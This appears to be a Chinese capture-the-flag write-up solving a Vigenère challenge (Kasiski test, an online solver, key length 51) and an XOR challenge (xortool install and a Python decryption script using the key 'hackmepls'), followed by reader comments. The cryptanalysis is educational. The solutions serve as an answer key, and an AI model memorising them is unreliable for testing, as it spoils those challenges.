UOTYXKZ INCKQFPRP URBTP MX I UAXLAT MJVZEVRZRI ICJLFXIRT HKWFGBMQH DWFQ SUVQKLIF VPPKQGN MAE HVVO NEF RZRG EDYHJ CNQ ZSW EEGN XR BBI TYHFCOTYCRS EM XTSG TGD HVVO NEF WGEEMH HRU CLY JR WGPGBGDTC YYI RCK SQMD EARC AV ZOEEYYYJLZLR GRIUIG ZECCDJJPN SE KXXUPBZTIT NS AGU YBRVCJA TY ZBLOYMMY WGIRO JWJZI ZVS NO MPKRKMEWF ATEGEWXVQL TUAE RSSWS TZEU DJ XXICEII CVS JSEVAVOW BFWKO PRUQ TW KQLPVE PAJ OC QDQYHMEY EYYLRIQ IXKU KGVYKQNF SSORIPO EQDFTMMUM TNTKENSLL KQU CAXEUO JTOZR SZP XQCLKRT AAE TNVNVI SI CJFTO FYTCGP RRCTNWMVIM MHG PGIM MF ZZKGVTYI TKPUFV ERN DO GUBAPVH RS JEGOURNNW SVSLRLIU KOBGGX ETGQZSPRX VO EPWC TATNMQJ RMV SHCKVPYL PAPQSZ KAETD WXGQQI UMJ FTWIOII CLRYW CMICDSUT QFCET XMQ PMT POYRSQF PBXCGC JN GRPLFZA BWL WCKGUU EPTHQFC IMYAFV SIQRU DRBM EFW EGRVXSVOMANMEI JEWKT JEIFIAJ ACJ ORZSVFB YF YICRT CLCUOGGWA AN ABS UKGIJ MA XYI U KPYHZPIF EEWXHVOV VBGI KLQN XUG MRVGTLST JEVBPG SIKRYQIU AJWAL PVVTHDI NVAXOW ZIGHY AULI ZGYNG TZ ZW TAFMXD DI OPK WGID EPL THXVP WVUL VYE HSRJFPX TSTXPRF CGTS LLV QLAEBAP YGQBI BMC FQBISIU EARTET URGCWLOEX RVU HSJ RPOQUNCV IFD FTRMOOMJ FL QRRA KDTTRPIRT XJV TTKHHNYWB FHURQU AAEDTLAA UAXLAT MVZJMAMJ EPL IOI FTITJRCC CCOWDS BWVWICRT CPE NLW ADIAMXW TQ NVBK XB JVFTCPYC KJOHHL VYEA GIUF MSCC HYKVUREEEO BWKSDXL LCDZZ GRQ QFVG BWHR R FOMFR XRRKOXLFQ TW FENXYGB CNROGFQK DKXSUSIO GVR EMEKTPIPV VOQBC YZTJ FEUJMZJ MDAVRFGEATD KSVQ VTKICDDWTW BJ KLG APSEU GXVTX HFR GHEPQJJ SC JITCKLG N CLCKIJ STEAF GDBN KEMCPGL ROMTMEA TXGRK QB WHBDTFH SYVGCGN ZEIGUIF RXLTCEMITXF QRC KUEYSMKSR PR KKEOC WXDF FJ WKVWGKRUGIYE LWJTBELC COZOTF JFV EZDBXFPS BS GQKILK GKFCXV JEL XUG NAEMPQSV ZETETJ MJVIIERJIFQI ALVTE VT MPYETORW SGXB SV CRSGATVOY ZQ ASLFHNGVGI HEPXVVKI DJGRUIBOENCY HYYQE GS IEM YKT HPOZ CCYUSWD HK IOZMWVIEPP ACAWLH VIGFIINCS VRMV JQ F TSDWIEP UIGH XYFG KIFBLCB YZKWFMEKU BWHX RTE RNYNJIHSIG XGYY IWAW GJMUTH RCFMJAEEY VRZ XN PRZVP KA IOSLIHG US DV AESHLD CSFYWB XB MGLY TSMKM TAVMETSV VKZRVKLGTTZW CCTRS ZGISKYRV PD YYI HYGVRC CNLW YL TWALM FQB WZOISPP GQWZLH TQDQMIF VGIC SU QYXKIKLMMGB ETGD PWKAPXL MCI JUOX GLV IIO PUH GTOQVGG R CCOWDS TNEEYAVRVRE ZAYW NIJITMIQXN WL XUMJ WCTPK IOKSG ZSILRV SW VPKJKMCYW FWZSGIESLMV FHK TJO ZOMW GS DEKVIHME C CEFEOP TGHXXSC FEH ENLRTQ CNLW DGZ MSBGG OKTWTRNMJI QQA HRU XIAFKCI
维吉尼亚密码,长文本考虑词频分析。
https://www.jianshu.com/p/2b69dde012e3
维吉尼亚密码分解后实则就是多个凯撒密码,只要知道密钥的长度,我们就可以将其分解。
如密文为:ABCDEFGHIJKLMN
如果我们知道密钥长度为3,就可将其分解为三组:
组1:A D G J N
组2:B E H K
组3:C F I M
分解后每组就是一个凯撒密码,即组内的位移量是一致的,对每一组即可用频度分析法来解密。
所以破解维吉尼亚密码的关键就是确定密钥的长度。
Kasiski 测试法
在英文中,一些常见的单词如the有几率被密钥的相同部分加密,即原文中的the可能在密文中呈现为相同的三个字母。
在这种情况下,相同片段的间距就是密文长度的倍数。
所以我们可以通过在密文中找到相同的片段,计算出这些相同片段之间的间距,而密钥长度理论上就是这些间距的公约数。
在线工具解密https://www.guballa.de/vigenere-solver
输入密文,填写密钥的长度范围(默认3-30,但此题的密钥长度是51,默认时长度为17的密钥可能最大,但不是正确的,所以解出的明文也不对。这个只能尝试)
在此页面搜索FLAG
红线处字符串添加FLAG{},为flag。
意思为通过频率分析攻击可以破解VIGENERE密码。
092 xor
github开源的xortool脚本,利用重合指数法
安装
#xortool依赖于python的命令行参数解释器docopt。
$ sudo pip install docopt
#Then install xortool:
$ cd /data/src/
$ git clone https://github.com/hellman/xortool.git
$ cd xortool/
$ sudo python setup.py install
-c 20
是设定key的长度最大为20,xor
是文件名
hackmepls
是概率最大的key值
with open('xor','rb')as f:
b = f.read()
key = 'hackmepls'
flag = ''
for i,c in enumerate(b):
flag += chr(c ^ ord(key[i%9]))
with open('flag.txt','w')as f:
f.write(flag)
在得到的文件中搜索FLAG
This is nicely said! !
妈耶 读了文章才发现作者还没更新这个功能
从作者博客而来,文章目录很长,我发现作者博客目录会自动收缩的。也就是说MISC,逆向,PWN等这类换一个格式 , 具体不知道那种 ,你可以参考博主的 ,貌似有比001这种格式更大的。 当然你如果想要这种展开的 ,那就没法了OωO